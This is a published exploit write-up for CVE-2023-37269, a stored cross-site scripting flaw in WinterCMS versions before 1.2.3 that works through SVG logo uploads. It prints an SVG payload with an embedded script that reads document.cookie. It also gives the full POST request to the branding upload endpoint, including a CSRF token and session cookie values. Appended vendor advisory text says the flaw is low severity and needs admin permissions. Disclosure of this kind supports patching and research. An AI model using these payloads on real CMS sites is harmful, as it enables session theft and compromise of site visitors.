Headline
WinterCMS 1.2.2 Cross Site Scripting
WinterCMS versions prior to 1.2.3 suffer from a persistent cross site scripting vulnerability.
# Exploit Title: WinterCMS < 1.2.3 - Persistent Cross-Site Scripting# Exploit Author: abhishek morla# Google Dork: N/A# Date: 2023-07-10# Vendor Homepage: https://wintercms.com/# Software Link: https://github.com/wintercms/winter# Version: 1.2.2# Tested on: windows64bit / mozila firefox # CVE : CVE-2023-37269# Report Link : https://github.com/wintercms/winter/security/advisories/GHSA-wjw2-4j7j-6gc3# Video POC : https://youtu.be/Dqhq8rdrcqcTitle : Application is Vulnerable to Persistent Cross-Site Scripting via SVG File Upload in Custom Logo Upload FunctionalityDescription :WinterCMS < 1.2.3 lacks restrictions on uploading SVG files as website logos, making it vulnerable to a Persistent cross-site scripting (XSS) attack. This vulnerability arises from the ability of an attacker to embed malicious JavaScript content within an SVG file, which remains visible to all users, including anonymous visitors. Consequently, any user interaction with the affected page can inadvertently trigger the execution of the malicious scriptPayload:- // image.svg<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.cookie); </script></svg>//Post RequestPOST /backend/system/settings/update/winter/backend/branding HTTP/1.1Host: 172.17.0.2User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cacheX-Requested-With: XMLHttpRequestX-CSRF-TOKEN: fk93d30vmHCawwgMlTRy97vPOxaf4iPphtUwioc2X-WINTER-REQUEST-HANDLER: formLogo::onUploadContent-Type: multipart/form-data; boundary=---------------------------186411693022341939203410401206Content-Length: 608Origin: http://172.17.0.2Connection: closeCookie: admin_auth=eyJpdiI6IkV2dElCcWdsZStzWHc5cDVIcFZ1bnc9PSIsInZhbHVlIjoiVFkyV1k3UnBKUVNhSWF2NjVNclVCdXRwNklDQlFmenZXU2hUNi91T3c5aFRTTTR3VWQrVVJkZG5pcFZTTm1IMzFtZzkyWWpRV0FYRnJuZ1VoWXQ0Q2VUTGRScHhVcVRZdWtlSGYxa1kyZTh0RXVScFdySmF1VDZyZ1p0T1pYYWI5M1ZmVWtXUkhpeXg2U0l3NG9ZWHhnPT0iLCJtYWMiOiIyNzk0OTNlOWY2ODZhYjFhMGY0M2Y4Mzk0NjViY2FiOWQ0ZjNjMThlOTkxODZjYmFmNTZkZmY3MmZhMTM3YWJlIiwidGFnIjoiIn0%3D; BBLANG=en_US; winter_session=eyJpdiI6ImJFWHVEb0QrTmo5YjZYcml6Wm1jT3c9PSIsInZhbHVlIjoiQVdVZ3R4ajVUWUZXeS83dkhIQVFhVVYxOE1uajJQOVNzOUtwM1ZGcUFYOC9haHZFMlE2R0llNjZDWVR6eHZqbDZ5Z1J1akM5VkNaQUFZM1p5OGlZcjJFWTRaT21tRWdtcnJUUHJWRWg1QTZyRFhJbEdMc0h1SzZqaEphMFFSSDYiLCJtYWMiOiI0YzRkNWQwODVkMmI4ZmMxMTJlMGU5YjM2MWJkYjNiNjEwZmE2NTY4ZGQwYTdjNjAxMjRkMjRiN2M1NTBiOTNiIiwidGFnIjoiIn0%3D-----------------------------186411693022341939203410401206Content-Disposition: form-data; name="file_data"; filename="image.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.domain); </script></svg>-----------------------------186411693022341939203410401206--|-----------------------------------------EOF-----------------------------------------Related news
Winter is a free, open-source content management system (CMS) based on the Laravel PHP framework. Users with the `backend.manage_branding` permission can upload SVGs as the application logo. Prior to version 1.2.3, SVG uploads were not sanitized, which could have allowed a stored cross-site scripting (XSS) attack. To exploit the vulnerability, an attacker would already need to have developer or super user level permissions in Winter CMS. This means they would already have extensive access and control within the system. Additionally, to execute the XSS, the attacker would need to convince the victim to directly visit the URL of the maliciously uploaded SVG, and the application would have to be using local storage where uploaded files are served under the same domain as the application itself instead of a CDN. This is because all SVGs in Winter CMS are rendered through an `img` tag, which prevents any payloads from being executed directly. These two factors significantly limit the potent...
### Impact Users with the `backend.manage_branding` permission can upload SVGs as the application logo. Previously, SVG uploads were not sanitized, which could have allowed a stored XSS attack. Although this was a security issue, it's important to note that its severity is low. To exploit the vulnerability, an attacker would already need to have developer or super user level permissions in Winter CMS. This means they would already have extensive access and control within the system. Additionally, to execute the XSS, the attacker would need to convince the victim to directly visit the URL of the maliciously uploaded SVG, and the application would have to be using local storage where uploaded files are served under the same domain as the application itself instead of a CDN. This is because all SVGs in Winter CMS are rendered through an `img` tag, which prevents any payloads from being executed directly. These two factors significantly limit the potential harm of this vulnerability. Th...